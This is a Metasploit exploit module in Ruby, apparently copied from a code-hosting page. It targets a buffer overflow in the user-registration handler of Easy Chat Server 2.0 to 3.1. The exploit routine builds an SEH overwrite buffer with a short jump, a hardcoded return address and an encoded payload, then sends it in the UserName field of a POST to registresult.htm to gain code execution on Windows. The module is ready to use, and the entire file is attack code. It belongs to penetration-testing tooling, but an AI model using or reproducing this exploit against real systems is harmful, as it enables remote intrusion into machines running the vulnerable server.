cgranleese-r7
79 lines
2.1 KiB
Ruby
79 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
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'Description' => %q{
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This module exploits a buffer overflow during user registration in Easy Chat Server software.
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},
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'Author' => [
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'Marco Rivoli', # Metasploit
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'Aitezaz Mohsin' # POC
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'EDB', '42155' ],
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],
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'Privileged' => true,
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'Payload' => {
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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},
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'Platform' => 'win',
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'Targets' => [
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[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
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],
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'DefaultOptions' => {
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'RPORT' => 80,
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'EXITFUNC' => 'thread',
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'ENCODER' => 'x86/alpha_mixed'
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},
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'DisclosureDate' => '2017-10-09',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def exploit
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sploit = rand_text_alpha_upper(217)
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sploit << "\xeb\x06\x90\x90"
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sploit << [target.ret].pack('V')
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sploit << payload.encoded
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sploit << rand_text_alpha_upper(200)
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res = send_request_cgi({
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'uri' => normalize_uri(URI, 'registresult.htm'),
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'method' => 'POST',
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'vars_post' => {
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'UserName' => sploit,
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'Password' => 'test',
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'Password1' => 'test',
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'Sex' => 1,
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'Email' => 'x@',
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'Icon' => 'x.gif',
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'Resume' => 'xxxx',
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'cw' => 1,
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'RoomID' => 4,
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'RepUserName' => 'admin',
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'submit1' => 'Register'
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}
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})
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handler
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end
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end
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